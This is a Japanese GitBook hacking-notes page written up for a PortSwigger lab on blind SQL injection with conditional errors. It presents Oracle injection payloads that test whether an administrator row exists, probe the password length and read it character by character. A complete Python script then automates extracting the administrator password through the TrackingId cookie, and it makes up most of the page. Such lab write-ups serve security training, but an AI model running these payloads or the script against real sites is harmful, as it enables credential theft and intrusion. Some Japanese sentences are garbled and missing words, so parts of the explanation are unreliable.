> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/sql-injection/blind-sql-injection-with-conditional-errors.md).

# 条件付きエラーを用いたブラインドSQLインジェクション

PortSwigger Web Security Academy のラボ向けメモ。条件付きエラーを用いたブラインドSQLインジェクションに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### 条件エラーを伴うブラインドSQLインジェクション

**背景:** の値が `TrackingId` cookie に注入されます。アプリケーションは結果を直接返しませんが、SQL式が例外を発生させると \*\*HTTPエラー500\*\* を引き起こします（ここでは `TO_CHAR(1/0)` を Oracle で使用）。この文字列を使います。条件が真なら → エラー500、そうでなければ 200 を返します。ベースには `users(username, password)` テーブルがあります。目的: からパスワードを抽出すること `administrator` して接続します。

#### 技術の原理（簡易版）

* cookie には、条件が真ならエラーを強制する式が含まれています。例（Oracle）:

{% code overflow="wrap" %}

```sql
' || (SELECT CASE WHEN <condition> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
```

{% endcode %}

* もし `<condition>` が真 → リクエストによりゼロ除算が発生 → アプリケーションが `500` を返す → ビット = 1。そうでなければ `200` を返す → ビット = 0。
* 使用する `SUBSTR`/`LENGTH` を使って1文字ずつ抽出します。

#### サンプルペイロード（Oracle）

* ユーザーの存在を確認する:

  ```sql
  ' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator') = 'a' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* 長さをテスト = 20:

  ```sql
  ' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* 位置 i の文字をテストする:

  ```sql
  ' || (SELECT CASE WHEN (SELECT SUBSTR(password, i, 1) FROM users WHERE username='administrator') = 'X' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```

(`FROM dual` / 構造は、アプリケーションに注入されるリクエストに応じて調整できます。)

### 自動化スクリプト

```python
#!/usr/bin/env python3

import requests
import signal
import sys
import time
from string import ascii_letters, digits

# Ctrl+C のクリーンな処理
def def_handler(sig, frame):
    print("/n中断されました。終了します。/n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)

# --- 設定 ---
MAIN_URL = "https://0a8a00f80354f1b1803108ce00e700b6.web-security-academy.net/"
TRACKING_BASE = "HNDtc0c9ybTvqk9m"   # TrackingId の正当な部分
SESSION_VALUE = "ZXuQT8xMsrBLG8KFDqvrccJDGFe8Z6Ra"
TIMEOUT = 6
SLEEP_BETWEEN = 0.15
MAX_PW_LEN = 50           # テストする最大長
ALPHABET = ascii_letters + digits + "!@#$%_-{}[]()"  # 文字種が分かっているなら調整してください

HEADERS = {"User-Agent": "Mozilla/5.0"}

# --- ユーティリティ関数 ---
def send_payload(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    try:
        r = requests.get(MAIN_URL, cookies=cookies, headers=HEADERS,
                         timeout=TIMEOUT, allow_redirects=False, verify=True)
        return r.status_code
    except requests.exceptions.RequestException as e:
        print(f"[!] リクエストに失敗しました: {e}")
        return None

def make_error_payload(condition_sql):
    """
    Oracle 用の完全な TrackingId を構築します:
    例: TRACKING_BASE' || (SELECT CASE WHEN <cond> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
    """
    # 条件を、admin に対して1行を返すサブクエリで包みます。
    payload = (f"{TRACKING_BASE}'|| (SELECT CASE WHEN ({condition_sql}) "
               f"THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') ||'")
    return payload

# --- ステップ1: パスワード長を検出（任意だが便利） ---
def detect_length(max_len=MAX_PW_LEN):
    print("[*] パスワード長を検出中...")
    for n in range(1, max_len + 1):
        cond = f"(SELECT LENGTH(password) FROM users WHERE username='administrator') = {n}"
        payload = make_error_payload(cond)
        code = send_payload(payload)
        if code == 500:
            print(f"[+] 検出した長さ: {n}")
            return n
        time.sleep(SLEEP_BETWEEN)
    print("[!] max_len 以下で長さを検出できませんでした。max_len を増やすことを検討してください")
    return None

# --- ステップ2: 1文字ずつ抽出 ---
def extract_password(length=None):
    if length is None:
        length = detect_length()
        if length is None:
            # フォールバック: 失敗するまで位置を試す
            length = MAX_PW_LEN

    password = ""
    print(f"[*] 抽出中（想定長 = {length}）")
    for pos in range(1, length + 1):
        found = False
        for ch in ALPHABET:
            # SUBSTR(password, pos, 1) = 'ch'
            cond = f"(SELECT SUBSTR(password, {pos}, 1) FROM users WHERE username='administrator') = '{ch}'"
            payload = make_error_payload(cond)
            code = send_payload(payload)
            if code == 500:
                password += ch
                print(f"[+] pos={pos} -> '{ch}'（ここまでのパスワード: {password}）")
                found = True
                time.sleep(SLEEP_BETWEEN)
                break
            # 試行間の短い待機
            time.sleep(0.01)
        if not found:
            print(f"[-] 位置 {pos} に文字が見つかりませんでした -> 終端の可能性があります。パスワード: {password}")
            break
    return password

if __name__ == "__main__":
    # 長さを検出してから抽出
    detected_len = detect_length(max_len=30)   # 環境に応じて max_len を調整してください
    recovered = extract_password(length=detected_len)
    print(f"/n[=] 復元されたパスワード（部分的/推定）: {recovered}/n")
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-585f1015331c57ed2e5f870e7880d9048234958c%2F%7B3C0B8C0B-3EB1-47F4-BD9A-BB49DE8B3E9B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/sql-injection/blind-sql-injection-with-conditional-errors.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
